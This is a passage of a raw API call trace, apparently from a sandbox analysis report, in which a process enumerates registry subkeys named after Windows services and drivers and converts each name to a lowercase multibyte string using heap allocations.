lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x5a1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x502850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x502850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.227] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x502850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0028.227] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x502850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x502850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x5a1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.228] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x502850, cchName=0x104 | out: lpName="arc") returned 0x0 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.228] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x5a1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x502850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x502850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x502850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.229] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x5a1460, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0028.229] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.229] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x502850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x5a1418, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x502850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x502850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.230] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x502850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0028.230] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x5a1460, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x502850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x5a1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x502850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.231] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x502850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x5a1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0028.231] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x502850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0028.232] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.232] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x5a1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0028.232] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.232] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.232] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x502850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0028.232] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.248] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x5a1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0028.248] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.248] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.248] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x502850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x5a1460, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.249] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x502850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0028.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x5a1418, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0028.249] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1460) returned 1 [0028.249] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.249] RegEnumKeyW 